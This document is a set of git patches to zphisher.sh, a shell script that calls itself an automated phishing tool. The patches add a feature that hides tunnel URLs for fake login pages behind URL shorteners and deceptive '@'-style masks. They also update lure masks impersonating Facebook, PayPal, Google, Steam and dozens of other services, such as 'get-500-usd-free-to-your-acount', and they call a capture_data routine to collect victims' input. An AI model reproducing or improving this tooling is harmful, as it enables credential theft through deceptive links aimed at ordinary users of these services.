From d843a41b07959268b9a46be7e97874a5c17387ca Mon Sep 17 00:00:00 2001 From: htr-tech Date: Tue, 18 Oct 2022 23:46:30 +0600 Subject: [PATCH 1/6] Commenting Out --- zphisher.sh | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index aa195991..cf7cce8f 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -484,12 +484,13 @@ start_ngrok() { sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 & fi - { sleep 8; clear; banner_small; } + sleep 8 ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)') - ngrok_url1=${ngrok_url#https://} - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1" - capture_data + + # ngrok_url1=${ngrok_url#https://} + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1" + # capture_data } ## Start Cloudflared @@ -506,13 +507,14 @@ start_cloudflared() { sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 & fi - { sleep 8; clear; banner_small; } + sleep 8 - cldflr_link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log") - cldflr_link1=${cldflr_link#https://} - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link" - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1" - capture_data + cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log") + + # cldflr_link1=${cldflr_link#https://} + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link" + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1" + # capture_data } localxpose_auth() { @@ -548,11 +550,12 @@ start_loclx() { sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 & fi - { sleep 12; clear; banner_small; } - loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io') #DONE :) - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url" - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url" - capture_data + sleep 10 + loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io') + + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url" + # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url" + # capture_data } ## Start localhost From 28cfe68980f132f620f0be5d6f78dd2f4592fe44 Mon Sep 17 00:00:00 2001 From: htr-tech Date: Tue, 18 Oct 2022 23:59:54 +0600 Subject: [PATCH 2/6] Added Custom URL Masking Feature (#620) Co-authored-by: E343IO --- zphisher.sh | 67 +++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 65 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index cf7cce8f..7507e602 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -486,6 +486,8 @@ start_ngrok() { sleep 8 ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)') + custom_url "$ngrok_url" + capture_data # ngrok_url1=${ngrok_url#https://} # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" @@ -508,8 +510,9 @@ start_cloudflared() { fi sleep 8 - cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log") + custom_url "$cldflr_url" + capture_data # cldflr_link1=${cldflr_link#https://} # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link" @@ -550,8 +553,10 @@ start_loclx() { sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 & fi - sleep 10 + sleep 12 loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io') + custom_url "$loclx_url" + capture_data # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url" # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url" @@ -597,6 +602,64 @@ tunnel_menu() { esac } +## Custom Mask URL +custom_mask() { + echo + read -n1 -p "Do you want to change Mask URL? [y/N] : " mask_op + echo + if [[ ${mask_op,,} == "y" ]]; then + echo -e "\nEnter Your custom url below (example: https://get-free-followers.com)\n" + read -e -p "=> " -i "https://" mask_url # initial text requires Bash 4+ + if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex + mask=$mask_url + echo -e "\nUsing custom Masked Url : $mask" + else + echo -e "\nInvalid url type..Using the Default one.." + fi + fi +} + +## URL Shortner +site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } + +shorten() { + short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2") + if [[ "$1" == *"shrtco.de"* ]]; then + processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}') + else + # processed_url=$(echo "$short" | awk -F// '{print $NF}') + processed_url=${short#http*//} + fi +} + +custom_url() { + url=${1#http*//} + isgd="https://is.gd/create.php?format=simple&url=" + shortcode="https://api.shrtco.de/v2/shorten?url=" + tinyurl="https://tinyurl.com/api-create.php?url=" + + if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then + if [[ $(site_stat $isgd) == 2* ]]; then + shorten $isgd "$url" + elif [[ $(site_stat $shortcode) == 2* ]]; then + shorten $shortcode "$url" + else + shorten $tinyurl "$url" + fi + + { custom_mask; sleep 1; clear; banner_small; } + url="https://$url" + masked_url="$mask@$processed_url" + processed_url="https://$processed_url" + else + # echo "[!] No url provided / Regex Not Matched" + url="Unable to generate links. Try after turning on hotspot" + processed_url="Unable to Short URL" + fi + echo -e "\nUrl 1: $url\nUrl 2: $processed_url" + [[ $processed_url != *"Unable"* ]] && echo "Url 3: $masked_url" +} + ## Facebook site_facebook() { cat <<- EOF From da005cebede74394d2d8a75d7d2db77fe9c6f0a1 Mon Sep 17 00:00:00 2001 From: htr-tech Date: Wed, 19 Oct 2022 00:43:22 +0600 Subject: [PATCH 3/6] Visual Tweaking --- zphisher.sh | 124 ++++++++++++++++++++++++---------------------------- 1 file changed, 56 insertions(+), 68 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 7507e602..b2c68369 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -412,7 +412,7 @@ cusport() { echo else echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}" - { sleep 2; clear; banner; cusport; } + { sleep 2; clear; banner_small; cusport; } fi else echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n" @@ -488,11 +488,6 @@ start_ngrok() { ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)') custom_url "$ngrok_url" capture_data - - # ngrok_url1=${ngrok_url#https://} - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1" - # capture_data } ## Start Cloudflared @@ -513,11 +508,6 @@ start_cloudflared() { cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log") custom_url "$cldflr_url" capture_data - - # cldflr_link1=${cldflr_link#https://} - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link" - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1" - # capture_data } localxpose_auth() { @@ -543,7 +533,7 @@ start_loclx() { echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" { sleep 1; setup_site; localxpose_auth; } echo -e "\n" - read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion + read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion [[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us" echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..." @@ -557,10 +547,6 @@ start_loclx() { loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io') custom_url "$loclx_url" capture_data - - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url" - # echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url" - # capture_data } ## Start localhost @@ -604,17 +590,17 @@ tunnel_menu() { ## Custom Mask URL custom_mask() { - echo - read -n1 -p "Do you want to change Mask URL? [y/N] : " mask_op + { sleep .5; clear; banner_small; echo; } + read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op echo if [[ ${mask_op,,} == "y" ]]; then - echo -e "\nEnter Your custom url below (example: https://get-free-followers.com)\n" - read -e -p "=> " -i "https://" mask_url # initial text requires Bash 4+ + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" + read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+ if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex mask=$mask_url - echo -e "\nUsing custom Masked Url : $mask" + echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else - echo -e "\nInvalid url type..Using the Default one.." + echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.." fi fi } @@ -638,6 +624,7 @@ custom_url() { shortcode="https://api.shrtco.de/v2/shorten?url=" tinyurl="https://tinyurl.com/api-create.php?url=" + { custom_mask; sleep 1; clear; banner_small; } if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then if [[ $(site_stat $isgd) == 2* ]]; then shorten $isgd "$url" @@ -647,7 +634,6 @@ custom_url() { shorten $tinyurl "$url" fi - { custom_mask; sleep 1; clear; banner_small; } url="https://$url" masked_url="$mask@$processed_url" processed_url="https://$processed_url" @@ -656,8 +642,10 @@ custom_url() { url="Unable to generate links. Try after turning on hotspot" processed_url="Unable to Short URL" fi - echo -e "\nUrl 1: $url\nUrl 2: $processed_url" - [[ $processed_url != *"Unable"* ]] && echo "Url 3: $masked_url" + + echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url" + echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url" + [[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url" } ## Facebook @@ -676,19 +664,19 @@ site_facebook() { case $REPLY in 1 | 01) website="facebook" - mask='http://blue-verified-badge-for-facebook-free' + mask='https://blue-verified-badge-for-facebook-free' tunnel_menu;; 2 | 02) website="fb_advanced" - mask='http://vote-for-the-best-social-media' + mask='https://vote-for-the-best-social-media' tunnel_menu;; 3 | 03) website="fb_security" - mask='http://make-your-facebook-secured-and-free-from-hackers' + mask='https://make-your-facebook-secured-and-free-from-hackers' tunnel_menu;; 4 | 04) website="fb_messenger" - mask='http://get-messenger-premium-features-free' + mask='https://get-messenger-premium-features-free' tunnel_menu;; *) echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." @@ -712,19 +700,19 @@ site_instagram() { case $REPLY in 1 | 01) website="instagram" - mask='http://get-unlimited-followers-for-instagram' + mask='https://get-unlimited-followers-for-instagram' tunnel_menu;; 2 | 02) website="ig_followers" - mask='http://get-unlimited-followers-for-instagram' + mask='https://get-unlimited-followers-for-instagram' tunnel_menu;; 3 | 03) website="insta_followers" - mask='http://get-1000-followers-for-instagram' + mask='https://get-1000-followers-for-instagram' tunnel_menu;; 4 | 04) website="ig_verify" - mask='http://blue-badge-verify-for-instagram-free' + mask='https://blue-badge-verify-for-instagram-free' tunnel_menu;; *) echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." @@ -747,15 +735,15 @@ site_gmail() { case $REPLY in 1 | 01) website="google" - mask='http://get-unlimited-google-drive-free' + mask='https://get-unlimited-google-drive-free' tunnel_menu;; 2 | 02) website="google_new" - mask='http://get-unlimited-google-drive-free' + mask='https://get-unlimited-google-drive-free' tunnel_menu;; 3 | 03) website="google_poll" - mask='http://vote-for-the-best-social-media' + mask='https://vote-for-the-best-social-media' tunnel_menu;; *) echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." @@ -777,11 +765,11 @@ site_vk() { case $REPLY in 1 | 01) website="vk" - mask='http://vk-premium-real-method-2020' + mask='https://vk-premium-real-method-2020' tunnel_menu;; 2 | 02) website="vk_poll" - mask='http://vote-for-the-best-social-media' + mask='https://vote-for-the-best-social-media' tunnel_menu;; *) echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." @@ -823,125 +811,125 @@ main_menu() { site_gmail;; 4 | 04) website="microsoft" - mask='http://unlimited-onedrive-space-for-free' + mask='https://unlimited-onedrive-space-for-free' tunnel_menu;; 5 | 05) website="netflix" - mask='http://upgrade-your-netflix-plan-free' + mask='https://upgrade-your-netflix-plan-free' tunnel_menu;; 6 | 06) website="paypal" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 7 | 07) website="steam" - mask='http://steam-500-usd-gift-card-free' + mask='https://steam-500-usd-gift-card-free' tunnel_menu;; 8 | 08) website="twitter" - mask='http://get-blue-badge-on-twitter-free' + mask='https://get-blue-badge-on-twitter-free' tunnel_menu;; 9 | 09) website="playstation" - mask='http://playstation-500-usd-gift-card-free' + mask='https://playstation-500-usd-gift-card-free' tunnel_menu;; 10) website="tiktok" - mask='http://tiktok-free-liker' + mask='https://tiktok-free-liker' tunnel_menu;; 11) website="twitch" - mask='http://unlimited-twitch-tv-user-for-free' + mask='https://unlimited-twitch-tv-user-for-free' tunnel_menu;; 12) website="pinterest" - mask='http://get-a-premium-plan-for-pinterest-free' + mask='https://get-a-premium-plan-for-pinterest-free' tunnel_menu;; 13) website="snapchat" - mask='http://view-locked-snapchat-accounts-secretly' + mask='https://view-locked-snapchat-accounts-secretly' tunnel_menu;; 14) website="linkedin" - mask='http://get-a-premium-plan-for-linkedin-free' + mask='https://get-a-premium-plan-for-linkedin-free' tunnel_menu;; 15) website="ebay" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 16) website="quora" - mask='http://quora-premium-for-free' + mask='https://quora-premium-for-free' tunnel_menu;; 17) website="protonmail" - mask='http://protonmail-pro-basics-for-free' + mask='https://protonmail-pro-basics-for-free' tunnel_menu;; 18) website="spotify" - mask='http://convert-your-account-to-spotify-premium' + mask='https://convert-your-account-to-spotify-premium' tunnel_menu;; 19) website="reddit" - mask='http://reddit-official-verified-member-badge' + mask='https://reddit-official-verified-member-badge' tunnel_menu;; 20) website="adobe" - mask='http://get-adobe-lifetime-pro-membership-free' + mask='https://get-adobe-lifetime-pro-membership-free' tunnel_menu;; 21) website="deviantart" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 22) website="badoo" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 23) website="origin" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 24) website="dropbox" - mask='http://get-1TB-cloud-storage-free' + mask='https://get-1TB-cloud-storage-free' tunnel_menu;; 25) website="yahoo" - mask='http://grab-mail-from-anyother-yahoo-account-free' + mask='https://grab-mail-from-anyother-yahoo-account-free' tunnel_menu;; 26) website="wordpress" - mask='http://unlimited-wordpress-traffic-free' + mask='https://unlimited-wordpress-traffic-free' tunnel_menu;; 27) website="yandex" - mask='http://grab-mail-from-anyother-yandex-account-free' + mask='https://grab-mail-from-anyother-yandex-account-free' tunnel_menu;; 28) website="stackoverflow" - mask='http://get-stackoverflow-lifetime-pro-membership-free' + mask='https://get-stackoverflow-lifetime-pro-membership-free' tunnel_menu;; 29) site_vk;; 30) website="xbox" - mask='http://get-500-usd-free-to-your-acount' + mask='https://get-500-usd-free-to-your-acount' tunnel_menu;; 31) website="mediafire" - mask='http://get-1TB-on-mediafire-free' + mask='https://get-1TB-on-mediafire-free' tunnel_menu;; 32) website="gitlab" - mask='http://get-1k-followers-on-gitlab-free' + mask='https://get-1k-followers-on-gitlab-free' tunnel_menu;; 33) website="github" - mask='http://get-1k-followers-on-github-free' + mask='https://get-1k-followers-on-github-free' tunnel_menu;; 34) website="discord" - mask='http://get-discord-nitro-free' + mask='https://get-discord-nitro-free' tunnel_menu;; 99) about;; From 1c1592bf74ad7219ae952e21bd7a576344df3dd9 Mon Sep 17 00:00:00 2001 From: htr-tech Date: Wed, 19 Oct 2022 00:47:49 +0600 Subject: [PATCH 4/6] Formatted --- zphisher.sh | 84 ++++++++++++++++++++++++++--------------------------- 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index b2c68369..e8b9ecf3 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -590,62 +590,62 @@ tunnel_menu() { ## Custom Mask URL custom_mask() { - { sleep .5; clear; banner_small; echo; } - read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op - echo - if [[ ${mask_op,,} == "y" ]]; then - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" - read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+ - if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex - mask=$mask_url - echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" - else - echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.." - fi - fi + { sleep .5; clear; banner_small; echo; } + read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op + echo + if [[ ${mask_op,,} == "y" ]]; then + echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" + read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+ + if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex + mask=$mask_url + echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" + else + echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.." + fi + fi } ## URL Shortner site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; } shorten() { - short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2") - if [[ "$1" == *"shrtco.de"* ]]; then - processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}') - else - # processed_url=$(echo "$short" | awk -F// '{print $NF}') - processed_url=${short#http*//} - fi + short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2") + if [[ "$1" == *"shrtco.de"* ]]; then + processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}') + else + # processed_url=$(echo "$short" | awk -F// '{print $NF}') + processed_url=${short#http*//} + fi } custom_url() { - url=${1#http*//} - isgd="https://is.gd/create.php?format=simple&url=" - shortcode="https://api.shrtco.de/v2/shorten?url=" - tinyurl="https://tinyurl.com/api-create.php?url=" + url=${1#http*//} + isgd="https://is.gd/create.php?format=simple&url=" + shortcode="https://api.shrtco.de/v2/shorten?url=" + tinyurl="https://tinyurl.com/api-create.php?url=" { custom_mask; sleep 1; clear; banner_small; } - if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then - if [[ $(site_stat $isgd) == 2* ]]; then - shorten $isgd "$url" - elif [[ $(site_stat $shortcode) == 2* ]]; then - shorten $shortcode "$url" - else - shorten $tinyurl "$url" - fi - - url="https://$url" - masked_url="$mask@$processed_url" - processed_url="https://$processed_url" - else - # echo "[!] No url provided / Regex Not Matched" - url="Unable to generate links. Try after turning on hotspot" - processed_url="Unable to Short URL" - fi + if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then + if [[ $(site_stat $isgd) == 2* ]]; then + shorten $isgd "$url" + elif [[ $(site_stat $shortcode) == 2* ]]; then + shorten $shortcode "$url" + else + shorten $tinyurl "$url" + fi + + url="https://$url" + masked_url="$mask@$processed_url" + processed_url="https://$processed_url" + else + # echo "[!] No url provided / Regex Not Matched" + url="Unable to generate links. Try after turning on hotspot" + processed_url="Unable to Short URL" + fi echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url" echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url" - [[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url" + [[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url" } ## Facebook From cce90c5293f9ca78ea6b57be885cc7e51b1e738a Mon Sep 17 00:00:00 2001 From: htr-tech Date: Wed, 19 Oct 2022 20:24:58 +0600 Subject: [PATCH 5/6] Fixing "One" Line of code Co-authored-by: E343IO --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index e8b9ecf3..505ae5f3 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -596,7 +596,7 @@ custom_mask() { if [[ ${mask_op,,} == "y" ]]; then echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+ - if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex + if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then mask=$mask_url echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" else From bbb2ae3d495b70585933fe800286699f83151050 Mon Sep 17 00:00:00 2001 From: htr-tech Date: Wed, 19 Oct 2022 20:33:55 +0600 Subject: [PATCH 6/6] Update to 2.3.4 --- README.md | 2 +- make-deb.sh | 2 +- zphisher.sh | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 01ccd67b..6f7b307a 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@

- + diff --git a/make-deb.sh b/make-deb.sh index a6b269fe..d1ac1dc2 100755 --- a/make-deb.sh +++ b/make-deb.sh @@ -2,7 +2,7 @@ # Make Deb Package for Zphisher (^.^) _PACKAGE=zphisher -_VERSION=2.3.3 +_VERSION=2.3.4 _ARCH="all" PKG_NAME="${_PACKAGE}_${_VERSION}_${_ARCH}.deb" diff --git a/zphisher.sh b/zphisher.sh index 505ae5f3..bfd703e6 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -2,7 +2,7 @@ ## Zphisher : Automated Phishing Tool ## Author : TAHMID RAYAT -## Version : 2.3.3 +## Version : 2.3.4 ## Github : https://github.com/htr-tech/zphisher @@ -90,7 +90,7 @@ ## TheLinuxChoice - https://twitter.com/linux_choice -__version__="2.3.3" +__version__="2.3.4" ## DEFAULT HOST & PORT HOST='127.0.0.1'